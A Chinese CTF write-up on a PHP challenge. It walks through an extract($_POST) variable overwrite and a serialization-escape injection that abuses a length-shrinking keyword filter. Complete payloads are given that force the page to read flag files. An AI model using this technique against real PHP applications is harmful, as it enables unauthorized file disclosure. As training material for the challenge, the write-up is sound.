[安洵杯 2019]easy_serialize_php 1 WP

[安洵杯 2019]easy_serialize_php 1 WP

这道题目考察的主要是序列化与反序列化过程中,对象逃逸的一个漏洞。
说是对象逃逸,我觉得可能叫对象注入比较形象。

首先题目上来可以看到源码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

变量覆写

首先关于这个部分

extract($_POST);

使用这个,我们可以任意post东西上去,覆写任意变量。
比如我们post一个SESSION['haha'] = 1, 这个时候原来SESSION的user,function和img项全部会消失,SESSION会只剩一个haha项,值为1
当然,如果我们post三个值user,function和img项上去,就可以替换原来的值
这里倒没有那么方便,因为img的处理是在post之后进行的。

关于题目内容

简要概括一下就是对session的处理。
session里有三个参数

参数名 参数内容 参数用处
user “guest" 用户名一类的参数,后面这里是溢出的payload入口
function \(function = @\)_GET['f']; 由代码观察,这里是用于放入所选的函数的入口,如 highlight_file, phpinfo, show_image等
img base64_encode('guest_img.png') 如果没有输入img_path, 就对img做这样的处理
sha1(base64_encode($_GET['img_path'])) 如果输入了img_path参数,就对img_path做这样的处理。

我们希望使用代码最后一句echo file_get_contents(base64_decode($userinfo['img']));读取到文件内容,
即phpinfo中core部分可以找到的d0g3_f1ag.php文件。

所以我们要让base64_decode($userinfo['img'] == "d0g3_f1ag.php"
所以$userinfo['img'] 要等于 ZDBnM19mMWFnLnBocA==

$_SESSION序列化后, 使用原函数中的filter过滤,然后再反序列化得到这里的$_userinfo。
但是原函数带的对img的处理方式有点让人难以接受,它对其Sha1哈希处理,没有办法利用,随引入本题使用的方式,序列化注入。

序列化逃逸(注入)

回顾一下题目对SESSION的处理。
SESSION --(序列化)--> --(filter函数过滤)--> --(反序列化)--> userinfo --> 读取以userinfo['img']为文件名的内容
在这个序列化和反序列化中间,多了一个过滤的步骤,这就让我们有机可趁。
反序列化从字符串构建变量,依靠关于变量长度的描述。
比如

s:4:"user"

读取这个user字符串,反序列化函数读取到4,就知道这个字符串有4个长度,遂读取4个字符。
然而,对于这个字符串

s:12:"flagflagflag";s:5:"guest";s:2:"hi";

在经过过滤后会变成

s:12:"";s:5:"guest";s:2:"hi";

这个时候,反序列化函数会根据前面的12,读取12个字符,生成这么一个对象

";s:5:"guest

它的值是

hi

知道了这么一个技巧后,我们就可以精心构建一个字符串

我们希望最终构建一个这样的SESSION

<?php 
$_SESSION["user"] = "anything";
$_SESSION["function"] = "haha";
$_SESSION["img"] = "ZDBnM19mMWFnLnBocA==";

echo(serialize($_SESSION));
?>

##a:3:{s:4:"user";s:8:"anything";s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

然而,如果正常按照题目流程,生成的SESSION应该是这个样子的

<?php 
$_SESSION["user"] = "guest";
$_SESSION["function"] = "highlight_file";
$_SESSION["img"] = base64_encode('guest_img.png');

echo(serialize($_SESSION));
?>

##a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

image

我们考虑使用user的值,来吞掉后面的部分,即在guest的位置注入,然后让它一直吞到function后面那个数字冒号的位置,让传到function的值来充当原来的值(吞掉的为下面的黑色粗体方框内容)

a:3:{s:4:"user";s:5:"guest【";s:8:"function";s:14:】"highlight_file";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

所以function的值应该包含这些

;s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

题目中过滤掉了php,flag,即3位和4位的字符串,我们需要吞掉22位,考虑php*6 + flag

phpphpphpphpphpphpflag

最终服务端构建出来的字符串为这个样子(黑粗体方框内为我们传入的function内容)

a:3:{s:4:"user";s:22:"phpphpphpphpphpphpflag";s:8:"function";s:66:【";s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}】";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

经过过滤后是这个样子的

a:3:{s:4:"user";s:22:"";s:8:"function";s:66:";s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

这串字符串中,各个变量值为

变量名 变量值
user ";s:8:"function";s:66:
function haha
img ZDBnM19mMWFnLnBocA==

这样我们便完成了对img的覆写。原来的img覆写内容被丢在了序列化字符串外边,没有收到反序列化函数的光顾,像个孤儿。
最终我们传入的参数为

参数名 参数值
user phpphpphpphpphpphpflag
function ;s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
f show_image (get方式上传)

看下最终效果。

可以看到, 他说flag在/d0g3_fllllllag,我们同理读取
Base64后为

L2QwZzNfZmxsbGxsbGFn

记得包括斜杠

奈斯

posted @ 2021-12-22 17:39  AikNr  阅读(103)  评论(0编辑  收藏  举报